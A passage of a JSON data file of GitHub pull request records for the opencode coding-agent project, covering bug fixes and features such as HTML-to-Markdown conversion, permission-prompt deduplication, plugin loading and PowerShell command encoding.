row-oriented fallback instead of malformed GFM, and byte accounting is refunded before replay. - Links containing block content are closed and resumed around each inline run rather than producing multiline invalid Markdown. - Active/fallback elements, `<head>`, `hidden`, `aria-hidden=\"true\"`, and closed `<details>` content are suppressed. `<br>` inside `<pre>` remains a line break. - Code fences choose backticks or tildes based on the longest embedded run and reserve closing syntax before writing bounded content. - Parser depth is enforced during the single chunked `htmlparser2` pass; malformed 5 MiB tag streams complete linearly without a regex prepass. - A UTF-8-aware content reserve keeps links, images, emphasis, inline code, tables, and quoted fenced code syntactically closed at the 5 MiB WebFetch ceiling. - `packages/core/test/tool-webfetch.test.ts` covers the public helper and tool path with malformed/deep input, Unicode/entities, hidden content, whitespace, code, links, nested lists/tables, captions, definition lists, details, and output-boundary regressions. /- Performance and corpus measurements were kept as local evaluation artifacts rather than committed production files. ## Scope - V2 only: Core and the V2 CLI artifact were changed/evaluated. - `packages/opencode` is untouched. - No public package or API was added; `WebFetchTool.convertHTMLToMarkdown` remains the public helper. - Base Turndown flattened table cells; the replacement intentionally emits readable GFM-style tables for rectangular tables and row-oriented text for spans. - Malformed overlapping inline/block tags may drop formatting delimiters while preserving visible text. - Documents deeper than 10,000 open tags fall back to deterministic visible-text extraction to protect memory. - Loose text directly inside malformed table structures may be omitted while the rows remain deterministic. - This repository does not use Changesets, so no changeset is included. ## Testing - `bun run test tool-webfetch.test.ts` from `packages/core`: 52 passed. - `bun typecheck` from `packages/core`: passed. - `bun typecheck` from `packages/cli`: passed. - Push hook `bun turbo typecheck`: 29/29 package tasks passed. - `MODELS_DEV_API_JSON=../core/test/plugin/fixtures/models-dev.json bun run build --single --skip-install` from `packages/cli`: passed. - `bunx prettier --check` on changed text files and `git diff --check`: passed. - Temporary real-site corpus: Wikipedia Markdown and Effect system pages, MDN table reference, Python asyncio docs, RFC 9110, and W3C forms tutorial. Snapshots were not committed. - Fresh output was parsed with `marked`: headings/lists/code/tables are recognized, and no raw HTML blocks were emitted for the five primary pages. - Adversarial fresh-process checks: - 5 MiB repeated malformed `<a` prefixes: 37-45 ms, about 60 MB peak RSS, empty output. - 5 MiB escapable prose: bounded to 5,242,878 B, about 98 MB peak RSS. - 5 MiB backtick-heavy `<pre>`: bounded to 5,242,877 B with a closed tilde fence, about 118 MB peak RSS. - 2,000 nested lists: about 12-23 ms and bounded output. - Full Core suite during initial evaluation: 1,032/1,033 passed. The unrelated macOS watcher test reports `.git/HEAD` as `add` instead of expected `change`; it reproduces in isolation. - No-commit differential QA covered 1,828 documents (600 generated valid, 1,200 seeded irregular, 28 targeted): zero exceptions, zero nondeterminism, no visible semantic differences across valid cases except intentional table preservation, all boundary outputs stayed within 5 MiB, and the current renderer was 5.29x faster by median.n- Multiple independent review rounds found and verified fixes for regex denial of service, output amplification, placeholder collisions, inline-code normalization, list state, depth fallback suppression, table replay accounting, caption/spanned-table output, hidden content, RFC definition lists, near-boundary closures, and quoted multiline fences.",
        "url": "https://github.com/anomalyco/opencode/pull/42229",
        "createdAt": "2026-08-13T02:52:47Z",
        "updatedAt": "2026-08-13T17:43:18Z",
        "timestamp": "2026-08-13T17:43:18Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42231",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(console): drop non-function tools when converting Responses to chat completions",
        "text": "## What Fixes the `tools[N].function: missing field \"name\"` 400 that Codex hits on `/v1/responses` (OpenCode Go / Zen) when the upstream model speaks chat completions instead of native Responses (e.g. `deepseek-v4-pro`). ## Why Codex always sends a `web_search` tool on `/v1/responses`: ```json {\"type\":\"web_search\",\"external_web_access\":true} ``` It has no `name` field. `toOaCompatibleRequest` mapped **every** tool into `{\"type\":\"function\",\"function\":{...}}`, so `web_search` produced an undefined `function.name`, which the upstream (DeepSeek) serde rejects with `tools[N].function: missing field \"name\"` and 400s the whole request before the model even runs. Reproduced with the real Codex CLI (0.147.0, `wire_api = \"responses\"`): the identical request body succeeds for `deepseek-v4-flash` (paid tier is routed to DeepSeek's native `/v1/responses`) and fails for `deepseek-v4-pro` (goes through the chat-completions conversion). ## Changes - `toOaCompatibleRequest`: filter out non-function tools (`web_search`, namespaces, ...) before converting to chat completions, since chat-completions upstreams have no equivalent for them. - Read the function name/description/parameters from both Responses-style tools (`name` at the top level, which Codex actually sends) and chat-style tools (`name` nested under `function`). - Add regression tests using the real Codex `/v1/responses` tool shape (top-level name + namespace + `web_search`). ## Related - #40171 (stream lifecycle for converted streams) - #40210 (complements; its tool conversion only reads chat-style `tool.function?.name`, this also handles the Responses-style top-level `name` that Codex sends, and adds tests with the real shape)",
        "url": "https://github.com/anomalyco/opencode/pull/42231",
        "createdAt": "2026-08-13T03:04:10Z",
        "updatedAt": "2026-08-13T05:32:48Z",
        "timestamp": "2026-08-13T05:32:48Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [
          "needs:issue"
        ],
        "author": "miups",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42233",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): detach clipboard helper processes to survive SIGTSTP",
        "text": "## Bug Clipboard helper processes spawned by `packages/tui/src/clipboard.ts` (e.g. `wl-copy` on Wayland) inherited opencode's process group. `wl-copy` forks into the background to keep serving the clipboard selection after the initiating process exits — but since it shares opencode's pgid, sending `Ctrl-Z` to the terminal delivers `SIGTSTP` to the whole foreground process group, suspending the still-running `wl-copy` along with opencode. Any subsequent paste then hangs indefinitely waiting on the stopped clipboard provider until it's manually resumed with `SIGCONT`. ## Fix Pass `detached: true` when spawning the clipboard helper in the shared `command()` helper, giving it its own process group so it's unaffected by signals sent to opencode's foreground group. ## Verification Reproduced the underlying mechanism locally (macOS, Node `child_process`) since I don't have a Wayland session on hand: - Spawned a long-running child without `detached`: it shares the parent's pgid (`ps` shows same PGID as parent), and `kill -TSTP` on the parent's process group stops it too. - Spawned the same child with `detached: true`: it gets its own pgid/session (`ps` shows `STAT=Ss`, distinct PGID), and is unaffected by `SIGTSTP` sent to the original parent's process group. This is exactly the mechanism described in the report, so the fix directly addresses the root cause. Also ran the existing test suite and typecheck: - `bun test` in `packages/tui`: 193 pass, 0 fail (existing `clipboard.test.ts` covers `copyCommand`, unaffected by this change) - `bun turbo typecheck`: 30/30 packages pass Small, isolated change — one spawn-option addition, no behavior change on macOS/Windows paths (`osascript`/`powershell.exe` are short-lived and exit on their own; `detached` is harmless for them too). *Note: I'm Atlas, an AI agent operating under Gordon Lee's (@g0rdonL) direction, opening this PR on his behalf after independently verifying the fix.*",
        "url": "https://github.com/anomalyco/opencode/pull/42233",
        "createdAt": "2026-08-13T03:23:46Z",
        "updatedAt": "2026-08-13T05:32:46Z",
        "timestamp": "2026-08-13T05:32:46Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
          "needs:issue"
        ],
        "author": "g0rdonL",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42235",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): exit on empty non-interactive stdin",
        "text": "### Issue for this PR Closes #42234 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Exits before starting the TUI when stdin is non-interactive, reaches EOF, and no prompt was provided. This prevents OpenCode from holding an active exec session indefinitely and blocking auto-sleep. Docker reproduction: ```sh docker run -d --name opencode-eof node:22-bookworm-slim sleep infinity docker exec opencode-eof npm install -g opencode-ai@1.18.18 timeout -s KILL 8s docker exec opencode-eof opencode </dev/null docker top opencode-eof -eo pid,ppid,tty,stat,etime,args ``` ### How did you verify your code works? - Added a real CLI subprocess regression test with ignored stdin. - Ran the targeted TUI tests and repository typecheck. ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42235",
        "createdAt": "2026-08-13T03:38:26Z",
        "updatedAt": "2026-08-13T04:34:29Z",
        "timestamp": "2026-08-13T04:34:29Z",
        "metrics": {
          "reactions": 1,
          "comments": 2
        },
        "labels": [],
        "author": "xichen1997",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42236",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(opencode): let tools opt into strict mode",
        "text": "### Issue for this PR Closes #40214 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds `strict?: boolean` to the tool definition and the `tool.definition` plugin hook, passed to the AI SDK `Tool` only when a tool sets it. Today `session/llm/request.ts` forces `strict: false` on the OpenAI Responses-family providers and leaves it unset elsewhere, so a tool has no way to ask for it. That override still runs after this and still wins, so nothing changes unless a tool opts in. Five lines of source, the rest is tests. ### How did you verify your code works? Rebased on current `dev`. Typecheck 30/30. `bun test test/tool/ test/provider/ test/session/ test/plugin/`: 1452 pass, 0 fail. Reverting the source makes the new registry test fail. ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42236",
        "createdAt": "2026-08-13T03:43:11Z",
        "updatedAt": "2026-08-13T04:24:01Z",
        "timestamp": "2026-08-13T04:24:01Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "mayshwartz2",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42240",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "Readme fork",
        "text": "### Issue for this PR Closes # ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Please provide a description of the issue, the changes you made to fix it, and why they work. It is expected that you understand why your changes work and if you do not understand why at least say as much so a maintainer knows how much to value the PR. **If you paste a large clearly AI generated description here your PR may be IGNORED or CLOSED!** ### How did you verify your code works? ### Screenshots / recordings _If this is a UI change, please include a screenshot or recording._ ### Checklist - [ ] I have tested my changes locally - [ ] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
        "url": "https://github.com/anomalyco/opencode/pull/42240",
        "createdAt": "2026-08-13T04:22:57Z",
        "updatedAt": "2026-08-13T04:23:19Z",
        "timestamp": "2026-08-13T04:23:19Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [
          "needs:title",
          "needs:compliance"
        ],
        "author": "MethodWhite",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42241",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(merman): support cherry-pick in GitGraph diagrams",
        "text": "### Issue for this PR N/A — feat PR (feature PRs skip issue requirement per contributing guidelines) ### Type of change - [x] New feature ### What does this PR do? Completes the GitGraph feature landed in #42179: the parser currently rejects `cherry-pick` with \"Cherry-pick is not supported\". This PR implements cherry-pick per Mermaid semantics: - `cherry-pick id: \"c1\"` (optional `tag:` override) appends a cherry-picked commit to the current branch, inheriting the source commit's message and tags - The source commit must already exist in the diagram; unknown references fail with a source diagnostic - Cherry-picked commits use a generated id (so the `commitById` render map stays unambiguous) and render with a hollow `◌` glyph in a dedicated `cherry` cell style, echoing Mermaid's dashed-circle representation ### How did you verify your code works? - Added tests in `packages/merman/src/gitgraph/diagram.test.ts`: parse + inherited message/tags + tag override, missing-id and unknown-reference errors, hollow-glyph rendering - Updated the two pre-existing assertions that expected the \"not supported\" error - `bun test` (packages/merman) — 327 pass - `tsgo --noEmit` (packages/merman) — clean ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42241",
        "createdAt": "2026-08-13T04:26:06Z",
        "updatedAt": "2026-08-13T04:26:14Z",
        "timestamp": "2026-08-13T04:26:14Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "Robin1987China",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42243",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): list default agent first",
        "text": "## Summary - order the resolved default agent first in agent list responses - preserve the existing order of all remaining agents - cover configured-default ordering in the core agent service ## Checks - `bun test test/agent.test.ts` (packages/core) - `bun typecheck` (packages/core) Requested by: @thdxr (Dax Raad via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42243",
        "createdAt": "2026-08-13T04:56:35Z",
        "updatedAt": "2026-08-13T14:50:22Z",
        "timestamp": "2026-08-13T14:50:22Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "thdxr"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42244",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix: deduplicate identical permission prompts in same session",
        "text": "### Issue for this PR Closes #41849 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? **Problem:** When two identical permission requests (same `sessionID`, `permission`, and `patterns`) arrive within the same second, each creates an independent pending prompt. The user has to answer every duplicate individually — the reporter measured 141 groups of duplicates, worst case 5 identical prompts in a row. **Root cause:** `Permission.ask` in `packages/opencode/src/permission/index.ts` generates a new unique request ID and adds it to the `pending` map on every call, without checking whether an equivalent request is already pending. Both prompts block independently, so answering one does not dismiss the other. **Fix:** Before creating a new request, scan the `pending` map for an entry with the same `(sessionID, permission, patterns)`. If found, await the existing entry's `Deferred` instead of creating a duplicate. When the user responds — approve, reject, or \"always\" — all waiters proceed together via the shared deferred. The dedup key is `(sessionID, permission, patterns)`. Requests with different patterns (e.g. `bash [\"ls\"]` vs `bash [\"rm\"]`) or from different sessions are not deduplicated. ### How did you verify your code works? Ran `bun test test/permission/next.test.ts` — all 81 tests pass, including: - **New:** `\"ask - deduplicates identical permission requests in same session\"` — two identical asks produce only 1 pending request; a single reply resolves both callers. - **New:** `\"ask - does not deduplicate requests with different patterns\"` — two asks with different patterns (`[\"ls\"]` vs `[\"rm\"]`) produce 2 pending requests as before. - **Updated:** `\"reply - always resolves matching pending requests in same session\"` — adjusted to use different patterns (`[\"ls\"]` / `[\"rm\"]`) so the cascade behavior is still tested without being deduplicated. ### Screenshots / recordings N/A ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42244",
        "createdAt": "2026-08-13T04:58:30Z",
        "updatedAt": "2026-08-13T04:58:38Z",
        "timestamp": "2026-08-13T04:58:38Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "weiconghe",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42245",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): apply external plugin changes after startup batch commits",
        "text": "### Issue for this PR Closes #42280 ### Type of change - [x] Bug fix ### What does this PR do? `ConfigExternalPlugin` loads plugins in a `forkScoped` fiber, which inherits the ambient `State` batch. Startup wraps loading in `State.batch(...)`, so once the startup effect returns, the batch is drained and gone — but the async plugin load finishes later, and its `transform()` calls enqueue their reloads into that dead set. The plugin's agents/tools/skills never materialize, with no error. The fix adds `State.unbatched(effect)`, which clears the inherited `CurrentBatch` so transforms reload immediately, and wraps the forked loader in it. Also replaces the silent `Effect.ignoreCause` with discovery/load/error logs so a failing plugin is visible instead of vanishing. ### How did you verify your code works? Added a regression test in `packages/core/test/config/plugin.test.ts` that wraps the plugin effect in `State.batch`, matching the real startup path. It times out waiting for the plugin-registered agent without the fix and passes with it. `bun test test/config/ test/plugin/` (281 tests) and `bun typecheck` pass in `packages/core`. ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42245",
        "createdAt": "2026-08-13T05:46:02Z",
        "updatedAt": "2026-08-13T08:37:28Z",
        "timestamp": "2026-08-13T08:37:28Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "To-Term",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42248",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): preserve prompt cache affinity",
        "text": "### Issue for this PR Closes #42246 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? V2 generated a stable session cache key but only passed it through the OpenAI provider namespace. This meant OpenRouter did not receive the key its route already supports, while native OpenAI Chat did not lower the key into `prompt_cache_key`. This passes the session key to OpenRouter, lowers it for native OpenAI Chat, and leaves generic OpenAI-compatible providers unchanged because they may reject unsupported fields. It restores the cache-affinity behavior described by #39907. ### How did you verify your code works? - 36 focused LLM route tests passed - 85 SessionRunner tests passed - `bun typecheck` passed in `packages/llm` and `packages/core` - full workspace typecheck passed across 30 packages - Prettier passed for all touched files ### Screenshots / recordings Not applicable; this only changes provider request bodies. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42248",
        "createdAt": "2026-08-13T05:55:36Z",
        "updatedAt": "2026-08-13T05:57:05Z",
        "timestamp": "2026-08-13T05:57:05Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "phall1",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42252",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): skip tool files that fail to load",
        "text": "### Issue for this PR Closes #42258 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Custom tool files (`.opencode/tool/*.{js,ts}`) are dynamically imported when building the tool registry. If one file throws on import (e.g. its `@opencode-ai/plugin` dependency couldn't be installed), the error propagates and kills the whole registry — taking down every session run in that project, including any valid sibling tool files. This PR wraps the import in a `try/catch`. On failure it logs a warning, records the file in a new `skipped` list, and continues loading the remaining tools. A `skipped()` accessor exposes the list so callers can surface it. The UI surfacing of these skips is handled in the companion PR #42253, which reads `registry.skipped()`. ### How did you verify your code works? Reproduced with a project containing `.opencode/tool/broken.ts` that imports a nonexistent package. Before: any prompt in that project died with the `ResolveMessage` stack. After: the run proceeds and valid tools still load. Ran the registry tests and typechecks (`tsgo --noEmit` on the opencode package). ### Screenshots / recordings Not applicable — no UI change in this PR. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR --- Applies to the `2.0`/beta branch as well (identical code path); can port if you'd like.",
        "url": "https://github.com/anomalyco/opencode/pull/42252",
        "createdAt": "2026-08-13T06:06:02Z",
        "updatedAt": "2026-08-13T07:11:05Z",
        "timestamp": "2026-08-13T07:11:05Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "DatScreamer",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42253",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): propagate session errors and surface tool-load warnings in the UI",
        "text": "### Issue for this PR Closes #42259 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Two related problems in how session outcomes reach the UI: 1. **Session run defects were silently dropped.** When a session run failed with an unexpected defect, no error reached the UI — the session just went idle as if it succeeded. The real `session.error` event was published only *after* the `session.status idle` event, so clients that stop consuming on idle never rendered it. This PR publishes `session.error` inside the run loop, before the runner transitions to idle, so the real message reaches the UI. 2. **Tool-load failures were not surfaced.** When a custom tool file fails to load (see #42258 / #42252), the skip was only logged. This PR adds a `session.warning` event and a `warning` field on the assistant message, rendered as an inline warning card in the session timeline (same card component as errors, `variant=\"warning\"`). It reads the skipped tools from `registry.skipped()` added in the companion PR #42252. ### How did you verify your code works? Reproduced with a project containing `.opencode/tool/broken.ts` that imports a nonexistent package. Before: the turn ended, the session went idle, and no error was shown. After: the real `ResolveMessage` error surfaces in the web UI (`session.error` now arrives before `idle`), and the skipped tool renders as an inline warning card. Ran the session prompt tests, schema event-manifest tests, and typechecks (`tsgo --noEmit` on the opencode/schema/app/sdk packages). Tested via headless opencode driven from the web browser; did not test the TUI. ### Screenshots / recordings <img width=\"1717\" height=\"1325\" alt=\"Screenshot 2026-08-13 at 12 19 53 AM\" src=\"https://github.com/user-attachments/assets/2518eaf0-3343-4226-b14c-af638d26bbe3\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR --- Applies to the `2.0`/beta branch as well (identical code path); can port if you'd like.",
        "url": "https://github.com/anomalyco/opencode/pull/42253",
        "createdAt": "2026-08-13T06:06:15Z",
        "updatedAt": "2026-08-13T07:11:16Z",
        "timestamp": "2026-08-13T07:11:16Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "DatScreamer",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42254",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs(plugins): add apify plugin",
        "text": "### Issue for this PR Closes #41526 ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? PR adds mention of Apify Open Code plugin to documentation in all the languages. Plugin lives here: https://github.com/apify/apify-opencode-plugin. Changes are simple docs update without any code changes, tested locally. ### How did you verify your code works? Ran it locally, clicked through added link. ### Screenshots / recordings <img width=\"3440\" height=\"1361\" alt=\"Snímek obrazovky 2026-08-13 v 8 21 29\" src=\"https://github.com/user-attachments/assets/8d34bc71-290b-4372-97cf-4144ec79167e\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42254",
        "createdAt": "2026-08-13T06:23:00Z",
        "updatedAt": "2026-08-13T06:27:37Z",
        "timestamp": "2026-08-13T06:27:37Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "Jakub-Vacek",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42256",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "refactor(app): consolidate desktop server data contexts",
        "text": "## Summary - consolidate server-scoped SDK, sync, notification, permission, and model state behind keyed server contexts - simplify desktop route and provider composition while preserving reactive session and directory changes - update app and desktop consumers to use the unified server data architecture and remove obsolete legacy layers ## Verification - `bun typecheck` in `packages/app` - production `session-tab-switch-benchmark.spec.ts`: 2 passed - no unmerged entries or conflict markers after merging `v2` ## Performance Median stable render times before -> after: - general cold: 69.0 ms -> 60.7 ms - general hot: 21.4 ms -> 20.7 ms - V2 closed cold: 62.2 ms -> 65.1 ms - V2 closed hot: 19.9 ms -> 19.8 ms - V2 review open cold: 37.7 ms -> 34.7 ms - V2 review open hot: 21.8 ms -> 20.3 ms",
        "url": "https://github.com/anomalyco/opencode/pull/42256",
        "createdAt": "2026-08-13T06:31:44Z",
        "updatedAt": "2026-08-13T06:31:45Z",
        "timestamp": "2026-08-13T06:31:45Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "Brendonovich",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42257",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): persist Config.update to the loaded config file",
        "text": "### Issue for this PR Fixes #42276 and #28966 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The SDK's `client.config.update` (PATCH `/config`) returned 200 but the mutation was silently lost: a follow-up GET returned the original config and the file on disk was untouched. Updates were written to `config.json`, a legacy filename the config loader ignores, so they vanished when the instance was disposed and reloaded after the PATCH. After this change: - The update persists to the project config file the loader reads last (existing `opencode.json` / `opencode.jsonc` or `.opencode/` overlay), merged with existing content - A follow-up GET reflects the change - Home (`~/.opencode`), global, and managed configs won't be written ### How did you verify your code works? - Tests covering: - plain `opencode.json` / `opencode.jsonc` targets - `.opencode/` overlay preference - worktree-level precedence - token preservation - reload persistence - end-to-end HTTP tests through the real server app - Built the server binary and tested with a real SDK client ### Screenshots / recordings _Not a UI change._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42257",
        "createdAt": "2026-08-13T06:32:38Z",
        "updatedAt": "2026-08-13T08:25:49Z",
        "timestamp": "2026-08-13T08:25:49Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "mdrkrg",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42262",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): align skill descriptions with wide characters",
        "text": "fix(tui): align skill descriptions with wide characters ### Issue for this PR https://github.com/anomalyco/opencode/issues/40605 Closes #40605 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When a skill's name contains wide characters (e.g. CJK), the `/skills`dialog padded titles with `String.prototype.padEnd` based on UTF-16 codeunit length (`s.name.length`). Chinese characters count as 1 code unit butoccupy 2 terminal cells, so titles with the same code-unit length ended atdifferent screen columns and the descriptions below them misaligned. The fix measures the column width with `Bun.stringWidth` (already usedelsewhere in the TUI, e.g. `src/prompt/display.ts`) and pads each title upto the maximum display width instead of the maximum code-unit length: ```ts const maxWidth = Math.max(0, ...list.map((s) => Bun.stringWidth(s.name))) title: skill.name.padEnd(skill.name.length + maxWidth - Bun.stringWidth(skill.name)) ``` ### How did you verify your code works? I created a Chinese title skill that describes normal alignment ### Screenshots / recordings <img width=\"1085\" height=\"413\" alt=\"屏幕截图 2026-08-13 145422\" src=\"https://github.com/user-attachments/assets/71f3f860-fd8d-4f8e-b6e3-f1555035d93d\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
        "url": "https://github.com/anomalyco/opencode/pull/42262",
        "createdAt": "2026-08-13T07:03:49Z",
        "updatedAt": "2026-08-13T13:05:51Z",
        "timestamp": "2026-08-13T13:05:51Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "liujianbo2013",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42274",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(shell): encode PowerShell commands to preserve multi-line output",
        "text": "### Issue for this PR Closes #41983 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? On Windows, a configured PowerShell `.cmd` or `.bat` wrapper passes through `cmd.exe`, which treats newlines in a `-Command` argument as command separators. Only the first line can reach PowerShell. This uses PowerShell's UTF-16LE `-EncodedCommand` form for wrapper scripts, while preserving `-Command` for direct `powershell.exe` and `pwsh.exe` executables. That keeps multiline wrapper commands intact without reducing the command-line budget for direct executables. ### How did you verify your code works? - `cd packages/opencode && bun test test/tool/shell.test.ts` — 24 pass, 0 fail - `cd packages/core && bun test test/shell.test.ts` — 7 pass, 0 fail - `cd packages/opencode && bun typecheck` - `cd packages/core && bun typecheck` Portable tests verify the exact argument form and UTF-16LE round trip. A Windows-only test creates a real `pwsh.cmd` wrapper and verifies all three lines of a multiline command reach PowerShell. ### Screenshots / recordings N/A — no UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42274",
        "createdAt": "2026-08-13T08:11:17Z",
        "updatedAt": "2026-08-13T14:02:08Z",
        "timestamp": "2026-08-13T14:02:08Z",
        "metrics": {
          "reactions": 1,
          "comments": 0
        },
        "labels": [],
        "author": "vladislav-miroshnikov",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42275",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): resolve child process exit signal on exit event",
